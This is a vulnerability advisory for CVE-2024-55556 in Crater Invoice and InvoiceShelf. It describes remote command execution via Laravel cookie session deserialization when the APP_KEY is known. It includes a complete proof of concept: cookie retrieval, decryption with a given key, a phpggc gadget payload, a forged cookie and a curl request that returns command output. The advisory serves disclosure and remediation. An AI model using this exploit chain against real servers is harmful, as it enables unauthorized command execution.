Crater Invoice - Unauthenticated Remote Command Execution when APP_KEY known
13/12/2024 - Download
Product
Crater Invoice / InvoiceShelf
Severity
Medium
Fixed Version(s)
InvoiceShelf 2.0.0
Affected Version(s)
Crater Invoice ≤ 6.0.6
InvoiceShelf ≤ 1.3.0
CVE Number
CVE-2024-55556
Authors
Description
Presentation
Crater Invoice is an open-source web & mobile app that helps you track expenses, payments, create professional invoices & estimates.
InvoiceShelf is a fork of Crater Invoice.
Issue(s)
An unauthenticated attacker in possession of the APP_KEY
would be able to achieve remote command execution on the server. However, this issue is mitigated by the regeneration of the APP_KEY
when following the default Crater installation guide.
Affected versions
≤ 6.0.6
Timeline
Date | Description |
---|---|
2024.09.05 | Advisory sent to security@craterapp.com |
2024.09.29 | patch released on InvoiceShelf |
2024.12.08 | CVE-2024-55556 assigned |
2024.12.13 | Public release |
Technical details
Arbitrary unserialization via Laravel session cookie
Description
The SESSION_DRIVER=cookie
option is set on the default Crater .env
file meaning that any session will be stored as a ciphered value inside a cookie. These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using Laravel's encrypt()
function.
$ cat .env.example
APP_ENV=production
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://crater.test
[...]
SESSION_DRIVER=cookie
An attacker in possession of the APP_KEY
would therefore be able to retrieve the cookie, uncipher it and modify the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve remote command execution.
As a proof of concept, Synacktiv used the default docker-compose.yml
from the main GitHub project.
Impact
To exploit this vulnerability, the cookie following laravel_session
should be retrieved, here DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
. These cookies are delivered to any unauthenticated user:
$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 12:28:44 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6ImdOS2lwMEhyNDNja0UzK3pCWEcxMXc9PSIsInZhbHVlIjoiMU1jMWlrYnRhN2ZRUVVvUEFaZVpVcC9Nb0h2U2J1eHJBZFdKcmpqSlcyclBpV1Azb3NXUTBFbkN0T3o3OTlwMk9yM2xLejBMNlV0U2FDalNzL1lhZDRkRUZtZzc2aitwVm40eWNHbC9pakR5SHRmYmN2R1pPSGsxQ01sMEVkZnQiLCJtYWMiOiJmN2M3OTI3MjExNGU4NTNlOTZiMGFkNjZlZmQyOTg2MWUwZjY1MzAyMDQwMzk3ZDM1NWRiZmI2NWVjNjI0OWJhIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 12:28:44 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be used. In the following example, the mode decrypt was used to retrieve the cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
clear text value.
$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6InZ2SlJSNGJ6Z2EveFlCOThIczhka2c9PSIsInZhbHVlIjoiYXVKVm9LWTJONzBxOVkzM0Urb1F0U2FRcmlCeEx3eHk2UU5jcldNNy94Y2RIQ2YyRE9uOXlDQnhIN2lIOGxJVFlBU2I2RDBrTWFDZnRCL3hOcE55ZklNcTFTVnk4SGw2b0RzTWx1SFB0aFNCVWtKeVo0RS9VTUM3eVVYa3VLbmFvdmhzcW9UQ3N6L1BZU2l5U1A4enFuNWIwOFRXTmFUd0ZFZkJrSDdkNU1BZVdkYWhFcWRyUUwwd1pQdWlwRXY5eks4bkk2aTViZHBJWGNYS0xVdjBpNHlMd1EvUXhyczIvd3o4WlcrUzl6SHROQjNpK0MvRVRnMVNFcllMd2g1MkhyVHFZUjVYblB3aWxvdzlGMkhnMWc9PSIsIm1hYyI6IjA0NjE2NGZjMTU4MTY3YjlhOTkzYmFlZjI4ZDRlYWFiNmJjM2U4NTBjZTQ2M2Y3M2IxMWE4MzBhYzZiNDgxYjciLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
ae8213eefa7b10062a52485c7dcca8a5a937cc1c|{"data":"a:2:{s:6:\"_token\";s:40:\"X3BnPcQvhG1azDQ04mx3A79rt998EiRBQXINtD3Z\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725452924}
[*] Base64 encoded unciphered version
b'YWU4MjEzZWVmYTdiMTAwNjJhNTI0ODVjN2RjY2E4YTVhOTM3Y2MxY3x7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJYM0JuUGNRdmhHMWF6RFEwNG14M0E3OXJ0OTk4RWlSQlFYSU50RDNaXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NTI5MjR9BwcHBwcHBw=='
[+] Matched serialized data in results! It is time to exploit unserialization!
Once decrypted, the cookie value should match a hash followed by a JSON object containing PHP serialized data.
An exploitation payload designed to run the bash command id
on the server was generated thanks to the tool phpggc. The hash value before the pipe (|
), here ae8213eefa7b10062a52485c7dcca8a5a937cc1c
, should then be passed to the --session_cookie
option to re-cipher a valid Laravel cookie, and the phpggc command to the -v
option to cipher the serialization payload inside a valid Laravel cookie.
$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=
$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=ae8213eefa7b10062a52485c7dcca8a5a937cc1c
[+] Here is your laravel ciphered session cookie
eyJpdiI6ICJxaVNJNnBPejM0SGgzNllSeENKU3lnPT0iLCAidmFsdWUiOiAiblJJQm83R2l6eXRVekxmZGxGU0p2OFFqajZ5STNVai9FdThjZDVzb21ucCt0eVlhS1V5ZldwWnNQdWxiYzlNUkVWWFgweDBXYXBsb1NRTHUvOVBBRjl0UFdLZmszamFLMGVKZ2NXNUJSeXg0bWhLU3duaTVZMnN3cUZzeVZLbHBsNDluYWNySXhiZTU4d3l0dTk4cVE0bDl3NzV4NVVrNTExSmhoVVpHWDJoQXVOWFY0RHdUeWlpUUlJS0JhbEFYMUdDU2w0SlZjSndYNVQyVHd3cFRjaWhqcTA0S2ZNbXVUR1NBQTdpU2JSQVFleER3V0hCV1lJKzB5ZUNCN2NuM2hUa0JFV2lOZlZhSWJVaklLWXlNQnlxZ2swUkdOVG9PRHdhU2NSdmJ2RDMzYzU5RU4zbWoxanN4eUFGcnAvVWluRkw2TlFtQzJlR1FXQzA2eDB2a29oWVB6cUZUOFBST2YwK1F5bFBvUy9HMUduQVRLUEFWZ0hDV3Y2SC9TRDd1aXVXOXFWaFdYVktNeURweGR6b2t6NWxkOUYzRVZBNURuRXNtd2p4V1NWUXZFaHRpRVpGRURqWTd4T0lYTGI2Unk4QlZqQjJ6SVBZdWJoYjI3ZjNVdlNyM1ZXRHpFOWd3V1hIT3NSRC9VTlBFaFhyQWczdVFGUEp5RnZVcWRweWNSWVZyQVljYVNMV0JLQU5VWUpnMGRjSVRQbVZMVjZBQjdibEVpaHdBTTAvMlh2dURpSUFLZ016NHpueXpVdDl1TGN3amx1dllvd2NzaktZNU44UVVRUGllbXlSSjR1WXRJNG5VS1I0a1QzRWRCRTlWbnJtamF4Qmd1aFJnRmtIQWIraFZNWkNBNWpDY1VqS0xxaXdSdE9uRTFIOFh0dnZkazFsMU5zK1dqbnhRc0dUR3FQTUQwVzVwOTBGKzh6Ly9TbDJlYS9pM1RQdEI1cGg1cmNiL05UczZnQmorMkJZUDh1czgvclZKMjZnaXpaMk5wQWEvVUZTOWZuRVhuNlhJc3FOYXFoelNwQjB2OFZJbnhDZ1ZjdEkzd0RETU5WWUsrNVZGUVMySUdDZUdoYXpFQm9hRFJWR280UzBFSVRmcCIsICJtYWMiOiAiZGE5ZTMwMzczMDZjNmQ0MjQ3YzUzYzdlMzcwNzU5NjlmMTlhZDJmYmNhZmE3OWE5MGNlN2RlOTY2MjdjZGJlMCIsICJ0YWciOiAiIn0=
The resulting value is then placed in the original cookie DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT
, along the laravel_session
cookie and both sent to the server to achieve remote command execution.
$ curl -s -H "Cookie: laravel_session=eyJpdiI6IldCMGRCUUpkREFNbnRaeTd5RjFuMXc9PSIsInZhbHVlIjoiVlNUempWN2lMd3NKOVNoUzZET2hDZDNueURrRWZydzUyV2MrelFSbE1VcGtUVllja0VCT1dkQytab1FTRHUxZDhNT1NhalNCRFM1T2Fka2V3QUFLVFhZci9QUGRvSUYxdENlblZTOXdsZXhqZGt5Qis0bGoxVjZ6ZjUyUFdQUUwiLCJtYWMiOiIzNmU4NmY4ZTRjYzMzNTI3NDA4ZjVhZjhiOTgxZDBjMTEwYzFiZTExNzVkMmEzMzMwZTRjM2EwZjZmN2QxYTM0IiwidGFnIjoiIn0%3D; DqNfdAQoevsVc3L2TmqIttblIQGIJPVdLrwoY7xT=eyJ[...]CJ0YWciOiAiIn0=" http://localhost/login | head -n1
uid=1000(crater-user) gid=1000(crater-user) groups=1000(crater-user),0(root),33(www-data)
The following video sums up the exploitation process:
Recommendation
Regenerate a new APP_KEY
if you copied the default .env.example
file.
Migrate to InvoiceShelf, a Crater invoice fork that is still maintained: https://github.com/InvoiceShelf/InvoiceShelf.
Link to the patch: https://github.com/InvoiceShelf/InvoiceShelf/commit/a64701bda570629757d3dd5a9277584fc0aeb34c.